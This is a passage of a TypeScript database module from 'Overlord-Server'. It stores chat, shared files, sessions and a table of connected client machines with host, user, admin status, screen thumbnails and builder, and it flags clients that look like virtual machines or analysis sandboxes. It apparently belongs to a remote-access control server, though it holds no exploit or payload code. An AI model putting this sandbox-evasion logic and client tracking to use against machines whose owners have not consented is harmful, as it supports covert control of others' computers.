Files
overlord/Overlord-Server/src/db/repositories.ts
T
2026-05-29 22:30:11 -05:00

2108 lines
63 KiB
TypeScript

import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
import { hasThumbnail, getThumbnailVersion } from "../thumbnails";
import { db, dbPath } from "./connection";
import "./schema";
export type ChatMessageRecord = {
id: number;
userId: number;
username: string;
userRole: string;
message: string;
createdAt: number;
};
export function insertChatMessage(userId: number, username: string, userRole: string, message: string): ChatMessageRecord {
const createdAt = Date.now();
const result = db.run(
`INSERT INTO chat_messages (user_id, username, user_role, message, created_at) VALUES (?, ?, ?, ?, ?)`,
userId, username, userRole, message, createdAt,
);
const id = Number((result as any).lastInsertRowid);
return { id, userId, username, userRole, message, createdAt };
}
export function getChatHistory(before?: number, limit: number = 50, retentionMs?: number): ChatMessageRecord[] {
const maxLimit = Math.min(Math.max(1, limit), 200);
const cutoff = retentionMs && retentionMs > 0 ? Date.now() - retentionMs : 0;
let rows: any[];
if (before) {
if (cutoff > 0) {
rows = db.query<any>(
`SELECT id, user_id, username, user_role, message, created_at FROM chat_messages WHERE created_at < ? AND created_at > ? ORDER BY created_at DESC LIMIT ?`,
).all(before, cutoff, maxLimit);
} else {
rows = db.query<any>(
`SELECT id, user_id, username, user_role, message, created_at FROM chat_messages WHERE created_at < ? ORDER BY created_at DESC LIMIT ?`,
).all(before, maxLimit);
}
} else {
if (cutoff > 0) {
rows = db.query<any>(
`SELECT id, user_id, username, user_role, message, created_at FROM chat_messages WHERE created_at > ? ORDER BY created_at DESC LIMIT ?`,
).all(cutoff, maxLimit);
} else {
rows = db.query<any>(
`SELECT id, user_id, username, user_role, message, created_at FROM chat_messages ORDER BY created_at DESC LIMIT ?`,
).all(maxLimit);
}
}
return rows.map((r: any) => ({
id: r.id,
userId: r.user_id,
username: r.username,
userRole: r.user_role,
message: r.message,
createdAt: r.created_at,
})).reverse();
}
export function deleteExpiredChatMessages(retentionMs: number): number {
if (retentionMs <= 0) return 0;
const cutoff = Date.now() - retentionMs;
const result = db.run(`DELETE FROM chat_messages WHERE created_at < ?`, cutoff);
return Number((result as any).changes ?? 0);
}
export type SharedFileRecord = {
id: string;
filename: string;
storedPath: string;
size: number;
mimeType: string;
uploadedBy: number;
uploadedByUsername: string;
passwordHash: string | null;
maxDownloads: number | null;
downloadCount: number;
expiresAt: number | null;
createdAt: number;
description: string | null;
};
export function insertSharedFile(file: SharedFileRecord): void {
db.run(
`INSERT INTO shared_files (id, filename, stored_path, size, mime_type, uploaded_by, uploaded_by_username, password_hash, max_downloads, download_count, expires_at, created_at, description)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
file.id,
file.filename,
file.storedPath,
file.size,
file.mimeType,
file.uploadedBy,
file.uploadedByUsername,
file.passwordHash,
file.maxDownloads,
file.downloadCount,
file.expiresAt,
file.createdAt,
file.description,
);
}
export function getSharedFile(id: string): SharedFileRecord | null {
const row = db.query<any>(`SELECT * FROM shared_files WHERE id=?`).get(id);
if (!row) return null;
return {
id: row.id,
filename: row.filename,
storedPath: row.stored_path,
size: row.size,
mimeType: row.mime_type,
uploadedBy: row.uploaded_by,
uploadedByUsername: row.uploaded_by_username,
passwordHash: row.password_hash,
maxDownloads: row.max_downloads,
downloadCount: row.download_count,
expiresAt: row.expires_at,
createdAt: row.created_at,
description: row.description,
};
}
export function listSharedFiles(): SharedFileRecord[] {
return db
.query<any>(`SELECT * FROM shared_files ORDER BY created_at DESC`)
.all()
.map((row: any) => ({
id: row.id,
filename: row.filename,
storedPath: row.stored_path,
size: row.size,
mimeType: row.mime_type,
uploadedBy: row.uploaded_by,
uploadedByUsername: row.uploaded_by_username,
passwordHash: row.password_hash,
maxDownloads: row.max_downloads,
downloadCount: row.download_count,
expiresAt: row.expires_at,
createdAt: row.created_at,
description: row.description,
}));
}
export function deleteSharedFile(id: string): boolean {
const result = db.run(`DELETE FROM shared_files WHERE id=?`, id);
return (result as any)?.changes ? (result as any).changes > 0 : false;
}
export function updateSharedFile(
id: string,
updates: {
passwordHash?: string | null;
maxDownloads?: number | null;
expiresAt?: number | null;
description?: string | null;
},
): boolean {
const setClauses: string[] = [];
const values: any[] = [];
if (updates.passwordHash !== undefined) {
setClauses.push("password_hash=?");
values.push(updates.passwordHash);
}
if (updates.maxDownloads !== undefined) {
setClauses.push("max_downloads=?");
values.push(updates.maxDownloads);
}
if (updates.expiresAt !== undefined) {
setClauses.push("expires_at=?");
values.push(updates.expiresAt);
}
if (updates.description !== undefined) {
setClauses.push("description=?");
values.push(updates.description);
}
if (setClauses.length === 0) return false;
values.push(id);
const result = db.run(
`UPDATE shared_files SET ${setClauses.join(", ")} WHERE id=?`,
...values,
);
return (result as any)?.changes ? (result as any).changes > 0 : false;
}
export function incrementSharedFileDownloadCount(id: string): boolean {
const result = db.run(
`UPDATE shared_files SET download_count = download_count + 1 WHERE id=?`,
id,
);
return (result as any)?.changes ? (result as any).changes > 0 : false;
}
export function deleteExpiredSharedFiles(): string[] {
const now = Date.now();
const expired = db
.query<any>(`SELECT id, stored_path FROM shared_files WHERE expires_at IS NOT NULL AND expires_at < ?`)
.all(now);
const ids = expired.map((r: any) => r.id);
const paths = expired.map((r: any) => r.stored_path);
if (ids.length > 0) {
for (const id of ids) {
db.run(`DELETE FROM shared_files WHERE id=?`, id);
}
}
return paths;
}
export type ClientDbRow = Omit<Partial<ClientInfo>, "online"> & {
id: string;
lastSeen?: number;
online?: number;
};
export function upsertClientRow(
partial: ClientDbRow,
) {
const now = partial.lastSeen ?? Date.now();
db.run(
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
ip=COALESCE(excluded.ip, clients.ip),
host=COALESCE(excluded.host, clients.host),
os=COALESCE(excluded.os, clients.os),
arch=COALESCE(excluded.arch, clients.arch),
version=COALESCE(excluded.version, clients.version),
user=COALESCE(excluded.user, clients.user),
nickname=clients.nickname,
custom_tag=clients.custom_tag,
custom_tag_note=clients.custom_tag_note,
monitors=COALESCE(excluded.monitors, clients.monitors),
country=COALESCE(excluded.country, clients.country),
last_seen=excluded.last_seen,
online=COALESCE(excluded.online, clients.online),
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
build_tag=COALESCE(excluded.build_tag, clients.build_tag),
built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
cpu=COALESCE(excluded.cpu, clients.cpu),
gpu=COALESCE(excluded.gpu, clients.gpu),
ram=COALESCE(excluded.ram, clients.ram),
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
elevation=COALESCE(excluded.elevation, clients.elevation),
permissions=COALESCE(excluded.permissions, clients.permissions)
`,
partial.id,
partial.hwid ?? partial.id,
partial.role ?? null,
partial.ip ?? null,
partial.host ?? null,
partial.os ?? null,
partial.arch ?? null,
partial.version ?? null,
partial.user ?? null,
partial.nickname ?? null,
partial.customTag ?? null,
partial.customTagNote ?? null,
partial.monitors ?? null,
partial.country ?? null,
now,
partial.online ?? 0,
partial.pingMs ?? null,
partial.buildTag ?? null,
partial.builtByUserId ?? null,
partial.enrollmentStatus ?? "pending",
partial.publicKey ?? null,
partial.keyFingerprint ?? null,
partial.cpu ?? null,
partial.gpu ?? null,
partial.ram ?? null,
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
partial.elevation ?? null,
partial.permissions ? JSON.stringify(partial.permissions) : null,
);
if (partial.hwid) {
db.run(
`DELETE FROM clients WHERE hwid=? AND id<>?`,
partial.hwid,
partial.id,
);
}
}
export function setOnlineState(id: string, online: boolean, disconnectReason?: string, disconnectDetail?: string) {
if (online) {
db.run(
`UPDATE clients SET online=1, last_seen=?, disconnect_reason=NULL, disconnect_detail=NULL WHERE id=?`,
Date.now(),
id,
);
} else {
db.run(
`UPDATE clients SET online=0, last_seen=?, disconnect_reason=?, disconnect_detail=? WHERE id=?`,
Date.now(),
disconnectReason ?? null,
disconnectDetail ?? null,
id,
);
}
}
export function deleteClientRow(id: string) {
db.run(`DELETE FROM clients WHERE id=?`, id);
}
export function deleteOfflineClientRows(): number {
const result = db.run(`DELETE FROM clients WHERE online=0`);
return (result as any)?.changes || 0;
}
export function getClientOnlineState(id: string): boolean | null {
const row = db.query<{ online: number }>(`SELECT online FROM clients WHERE id=?`).get(id);
if (!row) return null;
return row.online === 1;
}
export function setClientNickname(id: string, nickname: string | null): boolean {
const result = db.run(
`UPDATE clients SET nickname=? WHERE id=?`,
nickname && nickname.trim() ? nickname.trim() : null,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function getClientNickname(id: string): string | null {
const row = db.query<{ nickname: string | null }>(`SELECT nickname FROM clients WHERE id=?`).get(id);
return row?.nickname ?? null;
}
export function setClientTag(
id: string,
tag: string | null,
note: string | null,
): boolean {
const normalizedTag = tag && tag.trim() ? tag.trim() : null;
const normalizedNote = normalizedTag ? note ?? null : null;
const result = db.run(
`UPDATE clients SET custom_tag=?, custom_tag_note=? WHERE id=?`,
normalizedTag,
normalizedNote,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export interface ClientGroup {
id: number;
name: string;
color: string;
createdAt: number;
clientCount?: number;
}
export function listGroups(): ClientGroup[] {
const rows = db.query<any>(
`SELECT g.id, g.name, g.color, g.created_at as createdAt,
COUNT(c.id) as clientCount
FROM client_groups g
LEFT JOIN clients c ON c.group_id = g.id
GROUP BY g.id
ORDER BY g.name ASC`,
).all();
return rows.map((r: any) => ({
id: r.id,
name: r.name,
color: r.color,
createdAt: r.createdAt,
clientCount: r.clientCount ?? 0,
}));
}
export function getGroup(id: number): ClientGroup | null {
const row = db.query<any>(
`SELECT id, name, color, created_at as createdAt FROM client_groups WHERE id=?`,
).get(id);
return row ? { id: row.id, name: row.name, color: row.color, createdAt: row.createdAt } : null;
}
export function createGroup(name: string, color: string): ClientGroup {
const now = Date.now();
const result = db.run(
`INSERT INTO client_groups (name, color, created_at) VALUES (?, ?, ?)`,
name.trim(),
color,
now,
);
return { id: Number(result.lastInsertRowid), name: name.trim(), color, createdAt: now };
}
export function updateGroup(id: number, name: string, color: string): boolean {
const result = db.run(
`UPDATE client_groups SET name=?, color=? WHERE id=?`,
name.trim(),
color,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function deleteGroup(id: number): boolean {
db.run(`UPDATE clients SET group_id=NULL WHERE group_id=?`, id);
const result = db.run(`DELETE FROM client_groups WHERE id=?`, id);
return ((result as any)?.changes || 0) > 0;
}
export function setClientGroup(clientId: string, groupId: number | null): boolean {
const result = db.run(
`UPDATE clients SET group_id=? WHERE id=?`,
groupId,
clientId,
);
return ((result as any)?.changes || 0) > 0;
}
export function getClientIp(id: string): string | null {
const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id);
return row?.ip || null;
}
export function banIp(ip: string, reason?: string) {
db.run(
`INSERT OR REPLACE INTO banned_ips (ip, reason, created_at) VALUES (?, ?, ?)`
, ip,
reason || null,
Date.now(),
);
}
export function unbanIp(ip: string) {
db.run(`DELETE FROM banned_ips WHERE ip=?`, ip);
}
export type BannedIpEntry = {
ip: string;
reason: string | null;
createdAt: number;
};
export function listBannedIps(): BannedIpEntry[] {
const rows = db
.query<{ ip: string; reason: string | null; createdAt: number }>(
`SELECT ip, reason, created_at as createdAt FROM banned_ips ORDER BY created_at DESC`,
)
.all();
return rows.map((row) => ({
ip: row.ip,
reason: row.reason,
createdAt: Number(row.createdAt) || 0,
}));
}
export function isIpBanned(ip: string): boolean {
const row = db.query<{ ip: string }>(`SELECT ip FROM banned_ips WHERE ip=?`).get(ip);
return !!row?.ip;
}
// ── Revoked token persistence ──
function hashToken(token: string): string {
return new Bun.CryptoHasher("sha256").update(token).digest("hex");
}
export function persistRevokedToken(token: string, expiresAt: number): void {
db.run(
`INSERT OR IGNORE INTO revoked_tokens (token_hash, expires_at) VALUES (?, ?)`,
hashToken(token),
expiresAt,
);
}
export function persistRevokedTokenHash(tokenHash: string, expiresAt: number): void {
db.run(
`INSERT OR IGNORE INTO revoked_tokens (token_hash, expires_at) VALUES (?, ?)`,
tokenHash,
expiresAt,
);
}
export function isTokenRevoked(token: string): boolean {
const row = db.query<{ token_hash: string }>(
`SELECT token_hash FROM revoked_tokens WHERE token_hash=?`,
).get(hashToken(token));
return !!row;
}
export function loadAllRevokedTokenHashes(): Set<string> {
const now = Math.floor(Date.now() / 1000);
const rows = db.query<{ token_hash: string }>(
`SELECT token_hash FROM revoked_tokens WHERE expires_at > ?`,
).all(now);
return new Set(rows.map((r) => r.token_hash));
}
export function pruneExpiredRevokedTokens(): number {
const now = Math.floor(Date.now() / 1000);
const result = db.run(`DELETE FROM revoked_tokens WHERE expires_at <= ?`, now);
return result.changes;
}
export type SessionRecord = {
id: string;
userId: number;
tokenHash: string;
ip: string | null;
userAgent: string | null;
createdAt: number;
lastActivity: number;
expiresAt: number;
revoked: boolean;
};
export function createSession(session: {
id: string;
userId: number;
tokenHash: string;
ip: string | null;
userAgent: string | null;
createdAt: number;
expiresAt: number;
}): void {
db.run(
`INSERT INTO sessions (id, user_id, token_hash, ip, user_agent, created_at, last_activity, expires_at, revoked)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`,
session.id,
session.userId,
session.tokenHash,
session.ip,
session.userAgent,
session.createdAt,
session.createdAt,
session.expiresAt,
);
}
export function getSessionByTokenHash(tokenHash: string): SessionRecord | null {
const row = db.query<any>(
`SELECT * FROM sessions WHERE token_hash=? AND revoked=0`,
).get(tokenHash);
if (!row) return null;
return mapSessionRow(row);
}
export function getSessionById(id: string): SessionRecord | null {
const row = db.query<any>(`SELECT * FROM sessions WHERE id=?`).get(id);
if (!row) return null;
return mapSessionRow(row);
}
export function listUserSessions(userId: number): SessionRecord[] {
const rows = db.query<any>(
`SELECT * FROM sessions WHERE user_id=? ORDER BY created_at DESC`,
).all(userId);
return rows.map(mapSessionRow);
}
export function updateSessionActivity(tokenHash: string): void {
const now = Math.floor(Date.now() / 1000);
db.run(`UPDATE sessions SET last_activity=? WHERE token_hash=? AND revoked=0`, now, tokenHash);
}
export function revokeSessionByTokenHash(tokenHash: string): boolean {
const result = db.run(`UPDATE sessions SET revoked=1 WHERE token_hash=? AND revoked=0`, tokenHash);
return result.changes > 0;
}
export function revokeSessionById(sessionId: string): { tokenHash: string | null } {
const row = db.query<{ token_hash: string }>(
`SELECT token_hash FROM sessions WHERE id=? AND revoked=0`,
).get(sessionId);
if (!row) return { tokenHash: null };
db.run(`UPDATE sessions SET revoked=1 WHERE id=?`, sessionId);
return { tokenHash: row.token_hash };
}
export function revokeAllUserSessions(userId: number): number {
const result = db.run(`UPDATE sessions SET revoked=1 WHERE user_id=? AND revoked=0`, userId);
return result.changes;
}
export function pruneExpiredSessions(): number {
const now = Math.floor(Date.now() / 1000);
const result = db.run(`DELETE FROM sessions WHERE expires_at <= ?`, now);
return result.changes;
}
export function hashTokenForSession(token: string): string {
return hashToken(token);
}
function mapSessionRow(row: any): SessionRecord {
return {
id: row.id,
userId: row.user_id,
tokenHash: row.token_hash,
ip: row.ip,
userAgent: row.user_agent,
createdAt: row.created_at,
lastActivity: row.last_activity,
expiresAt: row.expires_at,
revoked: !!row.revoked,
};
}
export function markAllClientsOffline() {
db.run(`UPDATE clients SET online=0`);
console.log("[db] marked all clients as offline");
}
export const SUSPICIOUS_FLOOD_THRESHOLD = Math.max(2, Number(process.env.OVERLORD_SUSPICIOUS_FLOOD_THRESHOLD || 40));
const SUSPICIOUS_IP_FLOOD_WINDOW_MS = Math.max(60_000, Number(process.env.OVERLORD_SUSPICIOUS_IP_WINDOW_MS || 300_000));
export function getFloodedHwids(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const rows = db
.query<{ hwid: string }>(
`SELECT hwid FROM clients WHERE hwid IS NOT NULL AND hwid != '' GROUP BY hwid HAVING COUNT(*) >= ?`,
)
.all(threshold);
return new Set(rows.map((r) => r.hwid));
}
export function getFloodedHardware(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const rows = db
.query<{ cpu: string; gpu: string; ram: string; os: string }>(
`SELECT cpu, gpu, ram, os FROM clients
WHERE cpu IS NOT NULL AND cpu != '' AND os IS NOT NULL AND os != ''
GROUP BY cpu, gpu, ram, os HAVING COUNT(*) >= ?`,
)
.all(threshold);
const keys = new Set<string>();
for (const r of rows) keys.add(`${r.cpu}|${r.gpu ?? ""}|${r.ram ?? ""}|${r.os}`);
return keys;
}
export function getFloodedIps(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const since = Date.now() - SUSPICIOUS_IP_FLOOD_WINDOW_MS;
const rows = db
.query<{ ip: string }>(
`SELECT ip FROM clients WHERE ip IS NOT NULL AND ip != '' AND last_seen > ? GROUP BY ip HAVING COUNT(*) >= ?`,
)
.all(since, threshold);
return new Set(rows.map((r) => r.ip));
}
const FLOOD_CACHE_TTL_MS = 30_000;
let _floodCacheTs = 0;
let _cachedFloodedHwids: Set<string> | null = null;
let _cachedFloodedHardware: Set<string> | null = null;
let _cachedFloodedIps: Set<string> | null = null;
function getFloodSetsWithCache(): { floodedHwids: Set<string>; floodedHardware: Set<string>; floodedIps: Set<string> } {
const now = Date.now();
if (now - _floodCacheTs > FLOOD_CACHE_TTL_MS) {
_cachedFloodedHwids = getFloodedHwids();
_cachedFloodedHardware = getFloodedHardware();
_cachedFloodedIps = getFloodedIps();
_floodCacheTs = now;
}
return { floodedHwids: _cachedFloodedHwids!, floodedHardware: _cachedFloodedHardware!, floodedIps: _cachedFloodedIps! };
}
function parseRamGb(ram: string | null | undefined): number | null {
if (!ram) return null;
const m = ram.match(/(\d+(?:\.\d+)?)\s*(tb|gb|mb|kb)/i);
if (!m) return null;
const val = parseFloat(m[1]);
const unit = m[2].toLowerCase();
if (unit === "tb") return val * 1024;
if (unit === "gb") return val;
if (unit === "mb") return val / 1024;
if (unit === "kb") return val / (1024 * 1024);
return null;
}
export type SuspiciousFlags = string[];
const VM_CPU_PATTERNS = [
/\bqemu\b/i,
/\bkvm\b/i,
/\bvmware\b/i,
/\bvirtualbox\b/i,
/virtual\s+cpu/i,
/\bhyper-v\b/i,
/\bbochs\b/i,
/\bxen\b/i,
];
const VM_GPU_PATTERNS = [
/vmware/i,
/virtualbox/i,
/\bqemu\b/i,
/microsoft\s+basic\s+(render|display)/i,
/cirrus\s+logic/i,
/standard\s+vga/i,
/\bllvmpipe\b/i,
/\bsoftpipe\b/i,
/\bqxl\b/i,
/\bvirtio\b/i,
/hyper-v\s+video/i,
/terminal\s+server/i,
/remote\s+desktop/i,
/parsec\s+display/i,
];
export function computeClientSuspiciousFlags(
client: {
id?: string;
hwid?: string | null;
cpu?: string | null;
gpu?: string | null;
ram?: string | null;
os?: string | null;
host?: string | null;
user?: string | null;
ip?: string | null;
monitors?: number | null;
},
precomputed?: {
floodedHwids?: Set<string>;
floodedHardware?: Set<string>;
floodedIps?: Set<string>;
},
): SuspiciousFlags {
const flags: string[] = [];
const allProvided = precomputed?.floodedHwids !== undefined && precomputed?.floodedHardware !== undefined && precomputed?.floodedIps !== undefined;
const sets = allProvided ? (precomputed as Required<typeof precomputed>) : getFloodSetsWithCache();
const fHwids = sets.floodedHwids;
const fHardware = sets.floodedHardware;
const fIps = sets.floodedIps;
if (client.hwid && fHwids.has(client.hwid)) flags.push("hwid_flood");
if (client.cpu && client.os) {
const hwKey = `${client.cpu}|${client.gpu ?? ""}|${client.ram ?? ""}|${client.os}`;
if (fHardware.has(hwKey)) flags.push("hw_flood");
}
if (!client.host || !client.host.trim()) flags.push("no_hostname");
if (!client.user || !client.user.trim()) flags.push("no_user");
if (client.ip && fIps.has(client.ip)) flags.push("ip_flood");
const cpuIsVm = !!client.cpu && VM_CPU_PATTERNS.some((p) => p.test(client.cpu!));
const gpuIsVm = !!client.gpu && VM_GPU_PATTERNS.some((p) => p.test(client.gpu!));
if (cpuIsVm || gpuIsVm) flags.push("vm_hardware");
const ramGb = parseRamGb(client.ram);
if (ramGb !== null && [0.25, 0.5, 1, 2, 4].some((s) => Math.abs(ramGb - s) < 0.05)) {
flags.push("vm_ram");
}
if (typeof client.monitors === "number" && client.monitors === 0) {
flags.push("no_monitors");
}
return flags;
}
export function listClients(filters: ListFilters): ListResult {
const {
page,
pageSize,
search,
sort,
statusFilter,
osFilter,
countryFilter,
enrollmentFilter,
builtByUserId,
requireBuildOwner,
allowedClientIds,
deniedClientIds,
groupFilter,
} = filters;
const where: string[] = [];
const params: any[] = [];
if (search) {
where.push(
"(LOWER(COALESCE(c.host,'')) LIKE ? OR LOWER(COALESCE(c.user,'')) LIKE ? OR LOWER(COALESCE(c.nickname,'')) LIKE ? OR LOWER(COALESCE(c.custom_tag,'')) LIKE ? OR LOWER(COALESCE(c.custom_tag_note,'')) LIKE ? OR LOWER(c.id) LIKE ? OR LOWER(COALESCE(g.name,'')) LIKE ?)",
);
const needle = `%${search}%`;
params.push(needle, needle, needle, needle, needle, needle, needle);
}
if (statusFilter === "online") {
where.push("c.online=1");
} else if (statusFilter === "offline") {
where.push("c.online=0");
}
if (enrollmentFilter && enrollmentFilter !== "all") {
if (enrollmentFilter === "pending") {
where.push("(c.enrollment_status='pending' OR c.enrollment_status IS NULL)");
} else {
where.push("c.enrollment_status=?");
params.push(enrollmentFilter);
}
}
if (osFilter && osFilter !== "all") {
where.push("c.os=?");
params.push(osFilter);
}
if (countryFilter && countryFilter !== "all") {
where.push("UPPER(COALESCE(c.country,'ZZ'))=?");
params.push(countryFilter.toUpperCase());
}
if (typeof builtByUserId === "number") {
where.push("c.built_by_user_id=?");
params.push(builtByUserId);
}
if (requireBuildOwner) {
where.push("c.built_by_user_id IS NOT NULL");
}
if (Array.isArray(allowedClientIds)) {
if (allowedClientIds.length === 0) {
where.push("1=0");
} else {
where.push(`c.id IN (${allowedClientIds.map(() => "?").join(",")})`);
params.push(...allowedClientIds);
}
}
if (Array.isArray(deniedClientIds) && deniedClientIds.length > 0) {
where.push(`c.id NOT IN (${deniedClientIds.map(() => "?").join(",")})`);
params.push(...deniedClientIds);
}
if (groupFilter && groupFilter !== "all") {
if (groupFilter === "none") {
where.push("c.group_id IS NULL");
} else {
const gid = Number(groupFilter);
if (Number.isFinite(gid)) {
where.push("c.group_id=?");
params.push(gid);
}
}
}
const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
const orderBy = (() => {
const online = "c.online DESC";
const bookmark = "c.bookmarked DESC";
switch (sort) {
case "stable":
return `ORDER BY ${online}, ${bookmark}, c.id ASC`;
case "ping_asc":
return `ORDER BY ${online}, ${bookmark}, c.ping_ms IS NULL, c.ping_ms ASC, c.id ASC`;
case "ping_desc":
return `ORDER BY ${online}, ${bookmark}, c.ping_ms IS NULL, c.ping_ms DESC, c.id ASC`;
case "host_asc":
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.nickname, c.host)) ASC, c.id ASC`;
case "host_desc":
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.nickname, c.host)) DESC, c.id ASC`;
case "country_asc":
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.country, 'zz')) ASC, c.id ASC`;
case "country_desc":
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.country, 'zz')) DESC, c.id ASC`;
case "admin_first":
return `ORDER BY ${online}, ${bookmark}, c.is_admin DESC, c.id ASC`;
case "group_asc":
return `ORDER BY ${online}, ${bookmark}, g.name IS NULL, LOWER(g.name) ASC, c.id ASC`;
case "group_desc":
return `ORDER BY ${online}, ${bookmark}, g.name IS NULL, LOWER(g.name) DESC, c.id ASC`;
default:
return `ORDER BY ${online}, ${bookmark}, c.last_seen DESC, c.id ASC`;
}
})();
const totalRow = db
.query<{ c: number }>(`SELECT COUNT(*) as c FROM clients c LEFT JOIN client_groups g ON g.id = c.group_id ${whereSql}`)
.get(...params) ?? { c: 0 };
const onlineRow = db
.query<{ c: number }>(
`SELECT COUNT(*) as c FROM clients c LEFT JOIN client_groups g ON g.id = c.group_id ${whereSql ? `${whereSql} AND c.online=1` : "WHERE c.online=1"}`,
)
.get(...params) ?? { c: 0 };
const offset = (page - 1) * pageSize;
const rows = db
.query<any>(
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason
FROM clients c
LEFT JOIN client_groups g ON g.id = c.group_id
${whereSql}
${orderBy}
LIMIT ? OFFSET ?`,
)
.all(...params, pageSize, offset);
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
const items = rows.map((c: any) => ({
id: c.id,
hwid: c.hwid,
role: (c.role as ClientRole) || "client",
ip: c.ip || null,
lastSeen: Number(c.lastSeen) || 0,
host: c.host,
os: c.os || "unknown",
arch: c.arch || "arch?",
version: c.version || "0",
user: c.user,
nickname: c.nickname || null,
customTag: c.customTag || null,
customTagNote: c.customTagNote ?? null,
monitors: c.monitors,
country: c.country || "ZZ",
pingMs: c.pingMs ?? null,
online: c.online === 1,
bookmarked: c.bookmarked === 1,
buildTag: c.buildTag || null,
builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
enrollmentStatus: c.enrollmentStatus || "pending",
publicKey: c.publicKey || null,
keyFingerprint: c.keyFingerprint || null,
cpu: c.cpu || null,
gpu: c.gpu || null,
ram: c.ram || null,
isAdmin: c.isAdmin === 1,
elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
disconnectReason: c.disconnectReason || null,
disconnectDetail: c.disconnectDetail || null,
groupId: typeof c.groupId === "number" ? c.groupId : null,
groupName: c.groupName || null,
groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
denyReason: c.denyReason || null,
hasThumbnail: hasThumbnail(c.id),
thumbnailVersion: getThumbnailVersion(c.id),
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
}));
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
}
export type ClientMetricsSummary = {
total: number;
online: number;
byOS: Record<string, number>;
byCountry: Record<string, number>;
byOSOnline: Record<string, number>;
byCountryOnline: Record<string, number>;
};
export function getClientMetricsSummary(): ClientMetricsSummary {
const counts = db
.query<{ total: number; online: number }>(
`SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients`,
)
.get() ?? { total: 0, online: 0 };
const osRows = db
.query<{ key: string; total: number; online: number }>(
`SELECT
COALESCE(NULLIF(os, ''), 'unknown') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients
GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`,
)
.all();
const countryRows = db
.query<{ key: string; total: number; online: number }>(
`SELECT
COALESCE(NULLIF(country, ''), 'ZZ') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients
GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`,
)
.all();
const byOS: Record<string, number> = {};
const byOSOnline: Record<string, number> = {};
for (const row of osRows) {
byOS[row.key] = Number(row.total) || 0;
byOSOnline[row.key] = Number(row.online) || 0;
}
const byCountry: Record<string, number> = {};
const byCountryOnline: Record<string, number> = {};
for (const row of countryRows) {
byCountry[row.key] = Number(row.total) || 0;
byCountryOnline[row.key] = Number(row.online) || 0;
}
return {
total: Number(counts.total) || 0,
online: Number(counts.online) || 0,
byOS,
byCountry,
byOSOnline,
byCountryOnline,
};
}
export function getClientMetricsSummaryForUser(userId: number): ClientMetricsSummary {
const filter = `WHERE built_by_user_id = ?`;
const counts = db
.query<{ total: number; online: number }>(
`SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients ${filter}`,
)
.get(userId) ?? { total: 0, online: 0 };
const osRows = db
.query<{ key: string; total: number; online: number }>(
`SELECT
COALESCE(NULLIF(os, ''), 'unknown') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients ${filter}
GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`,
)
.all(userId);
const countryRows = db
.query<{ key: string; total: number; online: number }>(
`SELECT
COALESCE(NULLIF(country, ''), 'ZZ') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients ${filter}
